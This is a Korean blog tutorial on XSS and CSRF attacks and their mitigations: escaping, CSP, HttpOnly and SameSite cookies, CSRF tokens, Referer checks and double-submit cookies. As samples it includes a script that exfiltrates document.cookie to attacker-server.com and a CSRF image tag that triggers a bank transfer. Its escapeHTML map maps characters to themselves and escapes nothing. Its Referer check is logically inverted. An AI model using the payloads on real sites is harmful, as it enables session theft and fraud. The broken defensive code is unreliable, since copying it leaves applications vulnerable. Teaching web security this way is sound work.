XSS: Cross-Site Scripting
XSS는 공격자가 악의적인 스크립트를 웹 페이지에 삽입하는 공격입니다. 해당 스크립트 코드는 게시판이나, 이미지, 웹 메일 등에 삽입될 수 있습니다. 삽입된 스크립트는 사용자의 브라우저에서 실행되며, 공격자에게 사용자의 정보를 노출하거나 악의적인 행동을 수행할 수 있습니다.
<script>
// 악의적인 동작 수행
alert("안녕하세요, 공격자입니다!");
</script>
공격자가 위와 같은 악의적인 스크립트를 취약한 웹 페이지에 삽입합니다. 사용자가 해당 페이지를 열면, 악의적인 스크립트가 실행되어 예상치 못한 동작을 수행합니다. XSS는 사용자가 웹 사이트를 신용하여 악의적인 스크립트를 클릭한 경우로, 주로 사용자(클라이언트)를 대상으로 한 공격입니다.
XSS 해결 1: 이스케이프 처리
XSS 취약점은 웹 어플리케이션 사용자로부터 입력받은 데이터 값을 제대로 검사하지 않은 경우에 나타납니다. 이를 방지하기 위한 방법으로는 입력값을 검증하는 것입니다. 사용자의 입력값에 있는 특수문자를 이스케이프하여 그 값을 스크립트로 해석하지 못하게 합니다.
function escapeHTML(input) {
const entityMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return String(input).replace(/[&<>"'/]/g, char => entityMap[char]);
}
// 사용자 입력 값
const userInput = '<script>alert("XSS Attack");</script>';
// 이스케이프 처리 후 출력
console.log(escapeHTML(userInput));
XSS 해결 2: CSP (Content Security Policy)
다른 방법은 CSP: Content Security Policy 정책을 사용하는 것입니다. CSP는 웹 페이지에서 허용되는 리소스의 출처를 명시적으로 지정하여, 출처가 자기 서버인 스크립트만 실행될 수있도록하여 악의적인 스크립트의 실행을 방지하는 보안 정책입니다.
XSS 해결 3: 쿠키 HTTP Only 설정
마지막으로 사용자의 쿠키를 보호하기 위해 HTTP Only 쿠키 속성을 사용하여 JavaScript에서의 접근을 제한하는 것입니다.
<script>
// 모든 쿠키 정보 탈취
const stolenCookies = document.cookie;
// Image 객체를 생성하여, 공격자 서버로 이미지 요청
// 이미지 요청이 목적이 아닌 서버에 쿠키 정보들을 전송하는 목적
new Image().src = 'https://attacker-server.com/steal?data=' + encodeURIComponent(stolenCookies);
</script>
위 코드는 악의적인 스크립트를 통해 쿠키 정보를 탈취하는 코드입니다. 이때 쿠키를 HTTP Only로 설정을 하게되면 해당 쿠키는 브라우저와 웹 서버 간의 통신에만 사용되고, 클라이언트 측에서는 JavaScript를 통해 접근이 불가능합니다. 이를 통해 악의적인 스크립트가 삽입되어도 Http Only 쿠키에 접근할 수 없으므로 XSS 공격에서 쿠키를 탈취하려는 시도를 방지할 수 있습니다.
CSRF: Cross-Site Request Forgery
공격자가 사용자의 권한을 이용하여 사용자가 의도하지 않은 웹 요청을 유도하는 공격입니다.
예를 들어, 사용자가 은행 웹 사이트에 로그인한 상태라고 가정해봅시다. 그리고 공격자가 은행 웹 사이트와 유사하게 하여 가짜 사이트(bank-attacker.com)를 만들고 사용자에게 이메일을 보내 가짜 사이트에 접속하도록 합니다.
<!-- bank-attacker.com 사이트 페이지 -->
<html lang="kr">
<body>
<h1>당첨 경품</h1>
<img src="https://bank-origin.com/transfer?to=attacker&amount=1000000" alt="당첨 이미지">
</body>
</html>
해당 페이지에 들어가면, 웹 브라우저는 해당 이미지의 `src`에 있는 URL로 요청을 보냅니다.
사용자는 로그인된 상태 ,즉 인증된 상태로 요청이 전송되기 때문에 은행 서버(bank-origin.com)에서 유효한 요청으로 처리됩니다.
CSRF 해결 1: CSRF 토큰 사용
서버는 사용자에게 CSRF 토큰을 발급하고, 사용자는 이 토큰을 포함시켜서 중요한 요청 시 CSRF 토큰을 같이 보내 검증을 수행하는 방법입니다. Spring Security 경우 `CsrfToken` 객체를 통해 CSRF 토큰을 검증하고, 맞지 않으면 자동으로 요청을 차단합니다.
<!-- 서버에서 발급한 CSRF 토큰을 페이지에 포함 -->
<input type="hidden" name="csrf_token" value="csrf_token_value">
CSRF 해결 2: SameSite 쿠키 속성 설정
SameSite 쿠키 속성을 Strict 또는 Lax로 설정하여, 외부 도메인에서의 요청에 대한 쿠키 전송을 방지합니다.
Set-Cookie: csrf_token=여기에_토큰_값; SameSite=Strict; Secure; HttpOnly;
CSRF 해결 3: Referrer 검증
요청이 특정 웹 어플리케이션에서 온 것이지 확인하여, 허용된 출처에서만 요청을처리합니다.
Refferrer 검증은 HTTP 헤더 중 하나인 Referer헤더를 통해 현재 요청이 어떤 웹페이지에서 왔는지를 확인하여 CSRF(Cross-Site Request Forgery) 공격을 방어합니다. 이때 별다른 설정을 하지 않는 이상 브라우저에서 Referer 헤더에 값을 담아 전송합니다.
String referrer = request.getHeader("Referer");
if (referrer != null || referrer.startsWith(URL)) {
// 요청 처리
} else {
// 차단 혹은 오류 처리
}
CSRF 해결 4: Double Submit Cookie 방식
서버에서 발급한쿠키와 요청 파라미터의 값이 일치하는지 확인하여 유효성을 검증합니다.
// 쿠키에 CSRF 토큰 저장
response.addCookie(new Cookie("csrf_token", "여기에_토큰_값"));
// 요청 처리 메서드
public void processRequest(HttpServletRequest request, HttpServletResponse response) {
String cookieToken = getCsrfTokenFromCookies(request);
String parameterToken = request.getParameter("csrf_token");
if (cookieToken != null && cookieToken.equals(parameterToken)) {
// 요청 처리
} else {
// 차단 혹은 오류 처리
}
}
'Web' 카테고리의 다른 글
RSA를 이용하여 페이로드(ex. 비밀번호) 암호화하기 (Vue.js / Spring Boot) (0) | 2024.03.12 |
---|---|
OpenSSL을 통해 RSA 공개키, 개인키 생성하기 (0) | 2024.03.12 |
CORS(Cross-Origin Resource Sharing) 이해와 해결 방법 (0) | 2023.09.18 |
웹 데이터 저장: 로컬 스토리지, 세션 스토리지, 쿠키 (0) | 2023.09.18 |
Jar와 War의 차이(spring initializr packaging) (0) | 2023.09.01 |